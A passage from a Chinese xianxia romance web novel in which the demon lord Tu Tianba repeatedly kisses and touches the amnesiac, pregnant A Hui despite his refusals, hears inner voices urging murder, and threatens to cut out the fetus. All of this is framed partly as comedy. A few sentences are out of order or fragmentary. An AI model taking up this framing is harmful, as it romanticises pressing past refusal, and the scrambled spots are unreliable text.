随后,他摸了摸腰间那一堆平安结,由于数量过多,甚至显得有几分滑稽,让屠天霸看上去像是个卖红绳的小货郎。他说,“不管怎么看,还是这些—比较宝贵吧?虽然它们确实很没用,手艺肯定是比不上我,很粗糙,还很容易损坏……”屠天霸数了一大堆缺点,浅浅拉踩。 可他又说,“但是这些平安结,顾名思义,是用来保佑我平平安安的吧?自从嗯之后,你还是第一个这么祝福我的人,所以就算它们很没用,我也觉得很宝贵,你能听懂吗?”屠天霸觉得这个漂亮男人的脑子不是很好使,几乎是拿出了超出常理的耐心,掰碎了跟他解释着,语气也是难得的清和。看着男人呆愣的表情,屠天霸暗暗吸了一口气,忍住不耐烦,两只手在身边比划比划,重复道: “哎呀,你要是没听懂,我这次尽量说得更详细一点……” 阿洄听懂了。可他还是听少年重复了一遍,然后在对方用询问的眼神瞥向自己的时候,才慢吞吞地点了点头。屠天霸仿佛如释重负,感慨道:“还好你也不是太笨。”只是天织云纱的品阶太高,且已是屠天霸的所有物,让男人滴血认主的普通法子行不通。 屠天霸想了想,说: “这样吧,你想要什么样的衣服,我来构造,之后我再琢磨怎么把它移交给你,反正你就乖乖跟在我身边,肯定不会被杀人夺宝的啦……” 少刻。 阿洄自然毫无异议。 他的要求也很简单:只要幻化出来的衣服跟他身上这套差不多就行了。 素净即可。 男人看着少年用两只手高高提起的华丽衣袍——温黄的光线中,外袍呈现出七重渐变白,领口是初凝新雪的冷冽,衣襟过渡为昙花将绽的莹润,广袖末端则似浸透月华的雾凇…… 整件衣袍仿佛流动的云霭,飘飘欲仙。 甚至还配有同色发带,鹤翎的绣纹无比精致,每一片羽毛都栩栩如生。 屠天霸得意地问:“如何?是不是仿得有八九分相像?” 阿洄:……." 除了都是白色,看不出哪里像。 阿洄:……嗯。” 起码能将人包裹得严实,并且看起来不容易被人撕裂。 美中不足的是,男人接过衣袍,沉默半晌,绕过了屠天霸的视线,用被子盖住了自己,还叮嘱了一句, “…不要偷看。” 闻言,屠天霸震怒! 可是他此刻的心情着实不错,满腔气性像是被人用水浇灭了,只小声唧哼了两句, “我想看,还用偷?” 被子鼓起来,悉悉索索地动着。 说着,屠天霸已经站起来了,正准备上前掀被子,就听里头传出一道微微发闷的嗓音,是男人在说, “我知道你不会的,因为你是一个本性善良的人,不仅待道侣百般好,还极为尊重我,爱护我。” 屠天霸:“.…那是自然。” 于是,屠天霸恨恨地收回罪恶的小手。 不消一刻钟。 男人自行从被子里钻出来,天织云纱幻化的法袍穿在他的身上,果真好看。 屠天霸愣愣地看着他用手指捋顺那头长发,很利落地用发带将其束起,动作间,左手的几根指头扣在掌心,不太自然。 束完发,男人才摊开手掌。 是那对珍珠耳坠,也是男人所需的通讯法器,样式精致极了。 经过炼制的东珠形似泪滴,表面浮着朦胧的虹彩,仿佛凝着一汪月华的莹白,又恰似一粒自天河坠落的星屑。 本该是耳钩的部位被对方改成了流云形状的链骨,以便固定在耳廓上。 链骨泛着金属冷光,却与珠贝的温润彼此咬合,恰如其分地中和了珍珠的柔腻,又让这抹垂坠的优雅中暗藏锋刃般的凛冽。 在屠天霸眼中, 男人就是这个样子的。 而在阿洄的眼中…… 这对耳饰似乎过分华丽了。 他觉得自己在失忆前应该从未佩戴过耳饰,并不擅长处理这类物品。 好在阿洄也没想着自己动手。 按照少年的说法,他要将自己的血液滴在法器上进行认主,于是阿洄蜷起手指,指腹对准链骨终端的部位,用力按下。 一滴血珠冒了出来,被他蹭到莹白光润的珍珠耳坠上,转瞬间被吸收了个干净。 然后,他抬眸瞥向少年,正巧与对方那双乌黑的眼瞳对上,忍不住笑了一下,又很快将笑意收敛起来,佯装犯了难的模样,叹道:“可惜了你这么好的手艺,我居然不知道该怎么戴。” 话音刚落。 屠天霸挎着张小脸蹭了过来,唇角微微扬起,嘴里却是抱怨的话, “还好我聪慧过人,要不然给了你什么好东西,你都不会使…!咳,所以你不要老是让我把你留在这里,要知道外头的坏人可多了,万一闯进来把你抓走,然后用小皮鞭抽你、大刀砍你、长剑刺你怎么办?到时候没我在身边,你还不得痛死?”“所以说,还是把你缩小后随身携带更方便啦!” 屠天霸说着说着,又开始夹带私货。 他可不是无的放矢。但绝对不是零!!……"好半晌,他才回了神。果然。 要知道妙仙宗跟各大门派交好,人脉众多,眼下又是仙门大比期间,附近聚集的正道修士多不胜数。 道侣被拐走的概率或许很低, 思及此处,屠天霸的表情变得严肃又阴沉,与之相反的是——他轻而又轻地捏着链骨,固定在对方的耳廓上,欣赏了片刻,才满意点了点头。 “不愧是我,真好看。” 阿洄倒没说自己喜欢素净之物,不习惯佩戴这般繁琐精致的东西,只是冲少年笑了笑,又道了声谢。 屠天霸弯着腰,两人的距离不算远。 只是男人说了什么,他充耳未闻。 屠天霸盯着那两只白皙莹润的耳垂,以及轻轻摇晃的珍粒与链骨,又愣了一下。 屠天霸想了想,觉得自己有必要对男人再三耳提面命某件事,当即直起上身,两手叉着腰,语气严肃地道: “嫁鸡随鸡,嫁狗随狗,你可不要仗着自己长得漂亮就想着跟别人红杏出墙,知道吗?” 阿洄的微笑底下,藏着小小的迷惑。 按道理来说,他们两个都是入了道的修真者,又同为男子,岂有娶嫁之说? 红杏出墙等说辞,更是无稽之谈。 少年的言辞还是一如既往的…… 阿洄沉默许久,最终还是在对方专注且严肃的神情前败下阵来,只好轻声应了句: “…嗯。”屠天霸不满意:“嗯什么嗯,你得认认真真地保证呀!不能敷衍我!”阿洄思考了很久,委婉地保证道: “—我不会轻易离开你。” 刹那间。 屠天霸不知道自己是怎么了,胸口像是被男人一拳砸碎了似的,久违地感受到一股难以言喻的疼痛。 可这疼痛中,又迸发出莫名的滋味。 屠天霸说不清,只觉得自己难受得想要掉眼泪。 可他已经记不清自己到底多久没掉过眼泪了,怕不是身体出了什么岔子。 恍惚间。 他听见自己一直忽略的众多心魔音发出尖利的笑声,嘲讽道:“你以为他真的不会离开你吗?或许只有你把他杀了,将他的尸身留在鼎中……”" “正道修士的话你也信?” “现在就杀了他,否则将来他定会背叛你!反过来杀你!” 很快,屠天霸收敛起心神,将这些聒噪的心魔音压下去,任它们无时不刻地哭喊咒骂,却不去理会。 他盯着男人,忍不住皱眉捂住心口,先是不轻不重地揉了两下。 不起作用。 紧接着,屠天霸正要猛捶两拳,偏又顾及着什么没下手,只好捏住男人的腕子,让他的掌心落到自己的胸口,还抱怨了一声, “……我的胸脯好疼。” “像是有虫子要从里面钻出来了。” “你帮我揉一下。” 182、Chapter 182… 瞬息之间,屠天霸意识到了一件事。 他心神一凛,也不顾上男人掌心的温热透过衣襟,传递到自己的心口处,以至于升起一股酥麻之感 失策,大大的失策! 屠天霸如临大敌般地板着脸,神情严肃极地盯着男人,解释道: …虽说小是小了点,也没有你的粉嫩,但胜在形状好看,不失坚韧!不信的话你再仔细摸摸而且它以后还能长!” 面对这番说辞,阿洄的表情没有明显变化,任谁也看不出他此时正压抑着淡淡的尴尬,以及无处安放的好笑。 尴尬于少年对自己.…的评价。 好笑在,对方郑重其事的态度,却掩藏不住眼底的心虚,殊不知自己的神态与言语相互矛盾,左右脸分别印着两个大字。 ——心虚。 实在让人忍俊不禁。 但阿洄猜想,若是自己真笑出了声,这人怕不是又得气呼呼地瞪着眼,质问自己是不是仗着……咳,所以瞧不起他? 阿洄已经察觉到少年对自身纤细形体的不满,并格外憧憬高挑矫健的男人身板,几乎到了耿耿于怀的地步。 他当然不会那样应答。 事实上,他如今被少年掐着腕子,整条小臂动弹不得,只好将手指虚虚的搭在少年左胸处,轻拍了两下,憋着笑道: “我知道了。” 阿洄稍稍停顿,认真地看着身前的少年人,说出来的话带着莫名的笃定,让人不由自主地信服, “其实你不必与他人比较,你的身形修长,骨架匀亭而舒展,肩线平直又流畅,既非嶙峋单薄,也不显得蛮横臃肿,看上去十分灵动…” “有道是,纵使身似芥子微,心藏须弥即巍巍,最重要的不是他人如何,而是你如何看待自己。” “你不必拘泥于别人的胸…胸怀。” 男人这一通话让屠天霸彻底恍了神,整个人都有些不知所措了,只愣愣地注视着男人那两瓣色泽浅淡的唇…… 好半晌。 他忍不住倒抽一口凉气。 要知道,就连法容寺的佛怒金锤都奈何不了他,屠天霸疑惑自己怎么被对方几句话就弄得晕晕乎乎的呢? 魅功! 一定是他偷偷练了魅功! 本尊的魂好像丢了! 屠天霸打算好生斥责男人一番。 ……怎么能对道侣施展魅功呢! 他吭哧了好半天,扭捏地坐到床边,跟男人挤到一处,小声质问道:“你、你你不是故意哄骗我吧?!我真有这么好?” 阿洄脸色平静地看着他, “我为什么要骗你?” 屠天霸醍灌顶,讷讷道:“也是,就算你不说违心话哄我,我也不会杀了你,或是虐待你,可见你说的都是真心话……” 越说,屠天霸的表情越自信,腰板也越发挺直了,下巴也仰了起来,“哎呀,我也不是不信你啦!”看着少年神气的表情,阿洄微微一笑。 紧接着,他又问: “你现在心口还痛不痛?” 居天霸往他身边挤了两下,拱得男人坐都坐不稳,又顺势将他的手掌拉到自己怀里抱住,一板眼地应道:“现在又变得轻飘飘的了,好像随时都会飘走,不信你伸到衣服里摸摸,看它还在不在。” 随即,他又听到男人问道:“那…你还有哪处感到异样?腹部呢?” 屠天霸心中大惊。 这人怎么知道他今天吃撑了! 只是不知道为什么,在自己诚实应答之后,男人愣了愣,突然噗嗤一声笑出来,看得屠天霸魂又开始飘。 男人的眉骨挑起水墨画般的弧度,底下嵌着两泓清泉似的眼睛,睫毛眨动时,仿佛惊起湖面细碎星光,鼻梁在唇峰处投下淡淡的阴影…… 漂亮极了。 屠天霸坐在他身侧,望见那道带了几分神性的侧颜,被一抹意料之外的笑划破了庄重,似是被春风揉皱的镜湖,闪耀着粼粼波光。 屠天霸看花了眼。 他情不自禁地舔了舔嘴唇,只觉得方才还饱胀的肚子又叽里咕噜地叫起来,莫名催着人啃两口东西充充饥。 舔两口也行。 屠天霸不亏待自己,当即将歪着身子的男人压倒在床尾,以迅雷不及掩耳啃上了他的下唇,重重地最了两三下,又在男人的唇边舔舐了好几下。 口感很好。 男人像是被他的举动吓到了,但很快反应过来,飞快地偏过脑袋,两只手齐刷刷地撑住屠天霸压下来的胸膛, “.…小修!” 屠天霸砸吧砸吧嘴,应了声, “你的嘴巴比肉包子好吃多了,我能连吃一百个,不对,一千个…” 但男人只长了一张嘴。 屠天霸恋恋不舍地凝视着那两瓣被自己最红了的唇,伸长了脖子要去亲,却被男人推着躲远,他大声抗议道: “再让我吃一口!” “就一口!!” 阿洄先是被少年猝不及防的亲吻乱了心神,还来不及细想,身体已经开始推拒,转瞬之间,就被少年孩子气的话语折腾得没脾气了。 “…你别胡闹了。” 男人叹息道。 可少年似乎有自己的一套行为逻辑。 那些未经他人同意的抚摸、搂抱、以及亲吻,即使阿洄是个失了过往记忆的人都不可能会错意— 趁人之危。 下流的小人行径。 可少年对自己做出这些…,阿洄却只觉得无奈,并隐约能从中窥见几分少年与常人有异的想法。 那并非出自于纯粹的情欲,更多的,似乎是另一种渴望与他人亲近的贪欲。 迫切而焦灼。 对此,少年却不大明白,只懵懵懂懂地将双修挂在嘴边,情绪激动时就要做出发怒的模样,仿佛彰显着自己的不好惹。 ——又因他的触摸,或几句话而平和。 况且,阿洄已经感受过两人之间的力量有多悬殊了,对方想要罔顾自己的意愿,径直压下来也是很轻松的事,如今却…… 他侧脸抬眸,望着那张因梗着脖子而显得有些滑稽的面庞,被偷吻的震惊逐渐褪去了,转为一种很复杂的心绪。 他觉得自己应该拒绝的。 然而,两人僵持许久,男人手上推拒的力道却犹豫着松动了,屠天霸几乎是同一时间就感受到了,连忙抻长脖子,顺利亲到男人的唇角。 “这个不算,再来一口!” 屠天霸嘿嘿 笑,忙不迭地猛喝了好几口,又事后补充道:“哎呀哎呀,怎么都亲歪了,肯定是你扭着脸躲避的缘故,这些都不作数,你先把脸转过来…!” 阿洄刚卸下力道,心中便生出几分后悔和踌躇,可少年只是轻咬着他的唇肉,仿佛正在品尝食物那般,舔舐也只流连在唇瓣表面。 只要自己闭着嘴,他也不闯进来。 思及此处。阿洄莫名其妙地松了一口气。 ……还是先不说话了。 而屠天霸则是神采飞扬地将男人的唇嗫得叭叭响,口水糊了对方半脸,期间,还时不时发出几声浮夸的古怪笑声。 听得阿洄胃部隐隐抽痛。 不多时。 男人从面无表情变得呆滞迷茫,甚至有些欲言又止。 见少年一副兴冲冲,仿佛能啃到天荒地老的架势,阿洄冷不丁地往对方的耳洞中呼了一口气,又用被咬得发烫的下唇碰了碰他的耳垂…… 屠天霸顿时身体僵硬,整个人惊慌失措地弹跳起来,几乎是嗖的一下跳到了桌边的位置,还踢倒了一把椅子。 嘭的一声。 他捂着一边耳朵,上下搓了好几下,似乎正在确认自己的耳朵是不是被男人咬下来了,一副生气又强撑的表情。 阿洄:"……." 大概就是因为对方是个这样的人,自己才气不起来,又没办法严词拒绝吧。 ……很,可爱。 阿洄:“………….“ 可他的潜意识又让自己对此感到无地自容,仿佛这是一件很不恰当的事情。 外头的天色似乎暗了几分。 阿洄慢慢坐起身,抬手用手背抵着自己湿润的唇,含糊地道了声, “时间不早了,我想用晚饭了。” 屠天霸哪里知道男人转了好几道弯的思绪,他只觉得意味犹尽,晚饭时,撑着下巴盯着对方吃饭,分明没有动筷子,却一下下地砸吧嘴。 饭后。 男人坐了一会儿,就说要休息。屠天霸则盘腿坐在床外侧,无聊地盯着背对着自己侧卧的男人,只能瞥见他那道仿佛能截断暮色的下颌线。他先是抠了会儿手指。 随后,他——摸过头上、手上、腰间的红绳编织物件,又开始抠手指,片刻后,突然摸着男人的发尾跟自己的比较。男人的发极黑,他的却要浅一些。 男人的发笔直柔顺,他的却又卷又翘。 比着比着,他维持着盘腿而坐的姿势栽倒在床上,侧脸枕着男人的长发,小声地问了一句, “喂,你睡了吗?” 没人应。 屠天霸凑得更近了,又道: “我知道你没睡着,我听到你的心跳和呼吸了。” 他顿了顿,又抬手戳了两下男人的后肩,继续说:“喂,你的心跳变快了,呼吸也有点急促。” 还是没人应。 屠天霸撇了撇嘴,心里有些不悦,却发不出脾气,只是凑得更近了,学着男人先前对自己做的事情—— “呼。” 他吹了一口气。 紧接着,屠天霸又用唇瓣碰了碰男人的耳垂,发觉男人的脸往枕头里埋去,当即嗷呜一口叼住耳垂,牙齿轻咬。 最后,他很含糊地道了声, “…阿洄。” “阿洄,我饿,我还想吃你的嘴巴。” 作者有话说?显示所有文的作话 感谢小天使们的2个霸王票、542瓶营养液~ 小明终于第一次喊名字了233,因为被夸奖了很高兴,所以对会温柔地说好听话的嘴巴子有了很大的兴趣,暂时转移了对【】【】和关注。小明现在的感情:对任务结算的渴望,潜意识里的杀意与防备,对仙君身体和颜值的单纯喜爱(含羡慕嫉妒成分),看过原著后产生的些许O念,以及对【温柔阿洄】产生的些许好感,想要贴贴。阿洄现在的感情:潜意识的愧疚,感谢,善意引导,与无地自容,还有及被可爱到之后产生的异常容忍度—是个可能走错了路的可怜孩子,而且真的很可爱。 183.Chapter 183 世间并没有真正的感同身受。 人甚至不能共情昨天的自己。 现在的屠天霸满脑子都是吃嘴巴,完全忘了先前自己还嫌弃与男人肢体相触,如今已是断袖得不亦乐乎。 断袖可太有意思了。 他要狠狠断袖! 眼下的情况非常明了。 男人没有睡着,而自己已经开口要求吃嘴,对方没有拒绝,就是默认同意! 呜呼!速速开吃! 于是,屠天霸乐滋滋地撒开了男人的耳垂,一路从对方的下颌线舔到了唇角,然后叭叭叭地最男人的唇肉。 期间,他还不忘挑刺几句, “诶,你不要这么用力抿嘴,口感跟之前比起来好像变差了,算了,再让我咬一下你的脸颊肉!” 阿洄不敢开口说话。 他怕自己一开口,少年就不由分说地舔咬上来,让流连于表面的亲吻变得不那么纯粹,自己却不知该如何应对。 阿洄只好沉默。 然而,他耳边的声响久久不停。……有点吵。吵到他怀疑少年是不是长了两张嘴,其中一张嘴在自己脸上不停发出鞭炮一样的响声,包括但不限于 叭、啵、嘶溜嘶溜”、咕叽咕叽…而另一张嘴则连珠炮般地说着话,宛如趾高气扬的食客一边尝着美食,一边对站在旁边的厨师指点江山,很不客气。阿洄感受着脸上传来的湿润感,又听着这阵贯耳的魔音,脑子里冷不丁地闪过一个画面— 灵雾飘渺,仙山有灵。 一众身着白衣的年轻弟子被年长者带着游览众峰,却趁着年长者不注意,齐刷刷地围绕着湖边仙鹤,伸出手抚摸它的羽毛,吓得它扑扇着翅膀飞远了。这画面只停留了一瞬。 众人的面容模糊极了,给人以朦胧的印象,稍纵即逝,阿洄唯独看清了那只慌不择路的仙鹤。 他觉得,自己现在好像就是那只鹤。 ……以及,他似乎并非散修。 就在这时候。 一个亲吻落到他闭合的眼皮上。 阿洄清晰地感觉到少年伸出舌尖舔舐着自己的眼睫,力道有些重,似乎想要顶开他的眼皮,品尝其中湿润。 刹那间。 阿洄慌了神,却无路可逃。 可他面前是墙,身后则是少年紧贴上来的胸膛,阿洄只好闭紧双眼,趁对方的注意力被睫毛吸引开的空档,低声诉道: “有点疼。” 果不其然。 下一瞬,少年猛地支楞起来,两只手扒拉着他的脸和眼皮,语气困惑,“啊?我把你啃坏了?没瞎吧?我的天,你真的太娇气了,千万别晕啊!” 话罢,屠天霸开始疯狂摇晃着男人的肩膀,痛心疾首地喊道: “也不准睡!!” 系统空间内。 白色光球看着光屏上宛如小狗拆家般的画面,忍不住流下了鳄鱼的泪水,为主角仗义执言, “宿主,人家现在是凡人,肚子里那个丹胎不仅阻断了他的灵气流动,还吸收着他的精力与生机,你就让他休息一下啦~” “啵嘴又岂在朝朝暮暮?” 屠天霸一脸不悦地掐着男人的肩膀,在对方的呼痛声与心魔的劝说中,彻底意识到了一件事—— 这个人,似乎非常脆弱。 不像他,强得可怕。 如此想着,屠天霸连忙放松了手下的力道,很不情愿地道:“好吧,你睡吧,等天亮了我再叫你起来,不过你不能装睡…!”阿洄听着少年不大高兴地嘟囔抱怨,还细数着距离天亮有几个时辰,他最多只能等多久等等……… 这一长串话听得他心生好笑的同时,又让人忍不住生出两分怜惜之情。 阿洄不由得拉着他一起躺到床上,隔着两拳的距离,他轻声细语地提出了另一个解决方法, “你跟我一起休息,就不用干等了。” 老实说,屠天霸已经不记得自己多久没有躺过正经的床榻了。 他两只手交叠着枕在脑后,一条腿还驾到了男人身上,啧声细数着床有多硬,被褥触感更是下乘中的下乘…. 挑了诸多毛病之后,他叹息一声, “还是我的山洞和熊皮睡毯更舒服!” 话音刚落。 他的耳朵动了动,扭头去看身边侧躺着的男人,对方仍旧闭着眼,呼吸却缓慢了许多,连应声都慢吞吞的。 俨然是一副半睡半醒的恍惚模样。 屠天霸很想把这人摇醒,手都已经伸出去,碰到他的肩膀了,却见男人困倦地半睁开眼,下意识冲自己微笑了一下。 屠天霸的手一顿。 随后,男人强打着精神,问他, “……你还不困吗?” 屠天霸收回手,挠挠脸,应道: “睡不着,太吵了。” 男人大概是真的撑不住了,眼皮沉重地往下坠,说话声也很缓慢含糊, “…我吗?” 屠天霸扭着腰,变换成侧躺的姿势。 他的手肘支在枕头上,掌心握拳,撑起脑袋,居高临下地凝视着男人快要颤不动的眼睫。 好半晌,他才应了声, “不是啦。” “虽然我真的讨厌噪音,但你说的话我还挺爱听的,当然不会嫌你吵了,再多说一点也没关系的,要不你还是别睡觉了,来跟我说话吧!” 可是男人已经彻底睡着了。 屋内片刻寂静,烛火摇动。 火光勾勒出屠天霸的背影轮廓,他的面容隐藏在阴影中,唯独那双圆溜溜的杏眼透出光,亮得渗人,仿佛能够倒映出男人的睡颜。 他的咽喉随着呼吸起伏而微微滚动。 屠天霸看了好一会儿,闲聊似地低声自语,语气失落, “真的睡着了啊……” “哎呀,睡着就算了,尽管那些心魔现在一直在我耳边催促,让我杀了你,但我也会拼命忍住的哦。” “嗯,时效是…….” “——直到你恢复记忆为止。” 说完,屠天霸笑了笑,神情又变得纯真灵动,还伸出食指,撩拨了两下男人的长而密的睫毛。 “偷吃一口,嘿嘿。”“呜哇,好软好滑…!”三天时间,一晃而过。 屠天霸完全抛开了在永歌城游玩一圈的想法,日夜待在客栈中,看上去像是为了即将到来的仙门大比而闭关修炼。 实则非然。 这三天中,他要么缠着男人吃嘴,要么就是对男人上下其手,仿佛抓到新奇猎物的豹猫,对其投入了空前的注意力,忍不住用爪子拨弄来,拨弄去,不散手。 期间,他又炼了个法器来代替锦囊,以免这个身娇体弱的男人被轻轻一碰,就小声地喊痛,说不定还会哭出来呢! 阿洄:.…不至于。” 屠天霸当然不信。 他随手将法器将床上一抛,几步凑到男人面前喊累,一副要死要活的模样,然后借故吃嘴,过程中,持续发出堪称精神污染的声音。 阿洄尝试过拒绝, “…别这样。” 奇怪的是,只要他说出任何带有拒绝意味的话语,少年的表情反而看上去更加兴致满满了,动作也更加激动。 不能细想。 好在只要自己呼痛,对方哪怕再不情不愿,也会停下动作,然后要求自己跟他普通地说话聊天。 三天,就这么过去了。 都说修仙无年岁。 哪怕是修为低阶的修士,闭关也是短则一两月,长则半年,更别说那些动辄闭关几十年,近百年的大能了。 三天够干什么? 对于修道之人来说,实在是太短了。 但对于阿洄来说,三天时间足够他习惯少年动不动凑上来的亲吻——似乎用啃咬舔舐’来形容更加准确? 总之,他确实已经适应了对方这样过分热烈的表达亲近的方式了。 就是有点吵闹。 闲暇时,他忍不住想, 好在自己身上的法衣能避开尘埃,还能让使用者保持身体的洁净,否则按照少年的性子,又是一番拉扯。 可能会闹着要看他洗澡吧…… 除此之外, 床榻边。没有性别。下一瞬。不疼。 “我想吃……” 阿洄发现自己的身体发生了些许异变。 为此,他不得不褪下上衣,让身为医修的少年为自己查探情况。屠天霸终于得偿所愿,自是当仁不让。 他的目光锐利而专注,紧盯着平躺的男人,对方白衣敞怀,露出上半身,仍是一副让屠天霸晕头转向的柔韧模样。沉默片刻,他表情严肃地吐出一句, 阿洄已经相当熟悉这个句式了,但此时的场景特殊,他不由得眉心一跳,连忙打断道:“这个不行。” 难得打断少年说话,他补充了一句, “…这个,真不行。” 屠天霸挣扎、迟疑、痛苦、不舍、不肯放弃地确认道:“真的不行吗?只吃一边可以吗?另一边我给你留着。” 阿洄:“……真不行。” 屠天霸的失落溢于言表,仍旧不死心地问道:“为什么?是因为跟你的眼睛一样脆弱,我舔一舔就会难受吗?”阿洄违心地点了点头。 屠天霸这才移开了目光,下落到男人微微凸起的腹部。 很快,他乌黑的瞳仁覆盖上一层鎏金般的光辉,视线穿过血肉,将男人体内的景象看得一清二楚。丹胎的金线已经消失无踪,全然转化为与男人同源的血肉,它甚至在男人的腹中催生出一层肉膜,将自己包裹起来,如今已经长出了普通婴孩的手脚…… 或许等到降生那日,它才会分出男女性别,大概率跟寄生母体一致。可它若是降生于世,男人十有八九就活不成了。屠天霸第一个不愿意。他还没当腻断袖,还没双修呢! 只是屠天霸转念一想——咦?自己似乎也只能算半个人,另一半跟丹胎差不多,应该也能够通过让男人受孕的方式,为自己重塑肉身……他收回天眼,羡慕地道了声, “真好,我也想像它一样,在你的肚子里待一回,让你把我全须全尾地生出来。” 阿洄:“……?” 不等男人反应过来,居天霸的表情冷了下来,眼神像刀子一样刚向男人腹下的丹胎肉身,“真该死啊,我都不能被生,你凭什么?!过两天就把你剖了!!” 阿洄突然感受到腹中一阵异样。 是胎动。 184、Chapter 184… 屠天霸根本不知道自己说出了多么惊悚又罔顾人伦的话,以至于接连吓到了男人和男人肚子里的丹胎。 尤其是丹胎。 一阵凌冽的杀意穿透血肉,准确无误地笼罩着它,带来一阵难以违抗的危机感,极致的惶恐迫使它向母体寻求庇佑。 于是,它如同真正的婴孩那般,轻轻挥动着刚长出来的小手小脚,企图唤起母体对自己的怜惜之情。 然而,下一瞬。 屠天霸又瞥了一眼男人的腹部。 丹胎顿时安静如鸡,忙不迭蜷缩起小手小脚,还顺势将脑袋埋了起来,再不敢乱动了。 因此,阿洄的心神只在那阵短促的胎动停留了一瞬,脑中便不由自主地回想着少年方才脱口而出的那句抱怨… 堪称惊世骇俗。 想、想被自己生下来? 怎么生?? 怎么能…生?! 男人的神情微愣,瞳孔有些涣散。 他的喉结无意识地滚动了两下,像是要把涌到嘴边的惊诧咽回去,却让原本流畅的下颌线绷出青玉般的棱角。 紧接着,阿洄暗自回顾着少年抱怨时的表情——满脸的忿忿不平,眼睛里像是着了大火,烧得厉害,一路从他的腹部烧到了他的脸上,喊话时,神情专注。 重点是,眼珠子没有乱转。 阿洄:"……." 屠天霸等了一会儿,没有等到回应,就见男人搭在床边的手指骤然握紧,关节微微泛白,将床单抓出细密的褶皱。 下一瞬。 男人挺直颈项望过来,眸光泛着些许狼狈,整个人宛如工笔勾勒的竹枝被暴雨压弯前的最后一丝倔强,语气犹疑, “…你刚才是说笑的吧?” 屠天霸瞧着,下腹莫名一抽。 说不出的滋味。 他喜欢男人漂亮,又喜欢看他仓皇失措的模样,某种恶劣脾性似乎被激了出来,收也收不住。 “嘿嘿。“ 屠天霸不自觉地笑了两声。 殊不知,阿洄被他那对圆溜溜的黑眼珠盯了许久,又听到这阵仿佛冒着坏水的窃笑声,心中更是错愕。 他呼吸一滞,不由得追问道: “……你是说笑的吧?” 屠天霸心念一转,突然反应过来对方在担忧什么了,却故意支吾了好一会儿,才叹息着说, “当然是开玩笑的啦。” 他的叹息格外真情实感,不含一丝丝水分。 屠天霸可不是糊涂蛋,自觉算盘打得精明,还大咧咧地跟男人袒露道: “我要是让你重新把我生出来,你肯定就没命了,就算没咽气,到时候我变成了婴孩,还怎么跟你双修?” “哼,我哪能等那么久…!” 可要是维持现状的话,他不仅可以跟男人尽快双修,还能获得任务奖励,即重塑肉身。 傻子都知道怎么选! 系统空间内。 白色光球再度战术性后仰,被癫子宿主的解释创了一脸,其背后的深层含义充满了非人感,更接近于天然的兽性。所以说…… 宿主只是因为这个选择所带来的结果得不偿失,才放弃了,而不是因为这件事本身不合常理吧? 恐怖如斯,不能细想,究竟是人性的扭曲,还是道德的沦丧?这就是修仙世界里的魔尊含金量吗? 反观阿洄, 比起那番让人瞠目结舌的生育说辞,男人此时才发现 双修’两个字听起来是多么的平淡无奇,以至于让自己生出几分安心。太诡异了。 而屠天霸歪着脑袋,听到他轻轻呼出一口气,熟练地凑上去吃嘴巴,这边吃着,那头却忍不住嘲笑, “原来你怕这个啊。” 说话间,他抬手拨了拨男人耳朵上的链骨,链条带动珍珠坠子轻轻晃动, “呜哇,怎么这么胆小?” “放心啦,我不会让它在你的肚子里待太久的,也不会把自己塞进去,所以你用不着害怕。” 阿洄等了一会儿才将他的脸推开,唇瓣已是红润晶莹,忍了忍,实在没忍住,低声道:“……谁让你总是说这些胡话,说得跟真的一样。” 屠天霸的颊肉被推作一团,那双圆润的杏眼也变了形,半眯着,“不是胡话。” 他认认真真地解释道: “我是真的急着双修!” 阿洄被他日日耳提面命,早就不知道听了多少遍了,神色自是波澜不惊,不再暗藏尴尬了,反而试探地问了句, “我要是不愿意,你待如何?” 闻言,屠天霸大惊:“为什么?!!” 阿洄进一步解释道:“我失了忆,什么都记不清了,不如等日后我……” 屠天霸一百个不愿意,当即梗着脖子打断道:“借口,都是借口!要什么日后,我就要当下!” “我当下就要双修你!” 阿洄:“…” 屠天霸一个嘴瓢滑出去老远,又很机敏地拐了回来:“呸,嘴太快,是我当下就要跟你双修!”老实说,摸清了少年的脾性,阿洄现在很怀疑两人的关系是否如同对方所说,偏偏心底那阵没由来的歉疚无从解释……而他的潜意识中,也不想跟少年划清界限,仿佛只要自己这么做了,就会发生很不好的事情,让他暗暗心悸。 再者说, 阿洄注视着被自己推开脸,却也不躲不避,一会儿瞪眼,一会儿抱怨脸被他的手摸麻了的少年, 一颗心倏然软下来。 ……算了。 到时候再说。 总不至于强来。 正等男人拢起衣袍之际,早前被屠天霸随手扔在桌上的参赛玉牌忽然亮起一阵温润的清辉。 随后,那道清辉幻化成妙仙宗的重瓣青莲,浮于半空,逐层绽放,瓣片如星屑一般飘散开,碎成了无数光点。 但很快,光点凝成一行篆体金字— “巳时三刻,仙灵广场。” 待屠天霸回头看到那行字,字迹才如水波一般散开,光点化雾,回淌进玉牌之中。 第一场仙门大比,即将开场了。 而屠天霸抓紧时间,狠狠吃了通嘴才将对男人施展了缩身术,然后塞入自己新炼制的法器中,大摇大摆地把他带走了。 永歌城人潮涌动,修士更是数不胜数。 屠天霸视他人如无物,仿佛完全没有察觉他人对自己投来的视线,一路来到仙灵广场,在广场中央撞见了一张熟悉面孔。 那个陈年老断袖。 他今天倒是打扮得人模人样。 哼,不像自己,满身都是饱含道侣心血的馈赠之物,还有他的道侣。 屠天霸神清气爽地走上前。 徐阙愣了愣,忍不住多嘴问了句, “小医修,你就打算这样进行仙门大比么?是不是太出挑了?” “待会儿我把你传送到妙仙宗,妙仙宗宗主与各长老都在,还有各大门派的长老和弟子,比试期间,大家伙儿都会通过水镜观测林中情况,你….” 屠天霸:"?" 在说什么屁话? 就在这时候。 他的耳边忽然响起男人的嗓音,语调清正温润,暗含无奈,“我就说让你摘下来一些了,身上挂那么多绳绳结结的,你不嫌累赘吗?”屠天霸哪里会嫌多?他还嫌不够呢! 妙仙宗,化世台。 符悦声站在台上,身上是妙仙宗内门弟子的服饰—跟其他弟子不同,他从头到脚都挂满了配饰,大多是名贵法器,小部分是瞧着好看,就买了。 身边其他师兄弟正低声聊着考题,彼此询问着近日习得的医毒心法。 听着听着,符悦声有心想搭几句话。 可他刚一靠近,众人便歇了声,转而向他问好寒暄。 倒也不是冷落了他。 师兄弟们无一不对他笑脸相迎,还热切地询问他的身体状况,叮嘱他后山密林中有毒瘴气围绕,危机四伏….… 但符悦声仍旧感受到了一股熟悉的、不被接纳的滋味。 他笑着应和了几句,不自觉地后退了两步,视线也往别处瞥。 化世台乃是一处山峰高台,数万白玉砖泛着微微的青芒,阴刻的重瓣莲纹路栩栩如生,纹路中有灵气流涌。 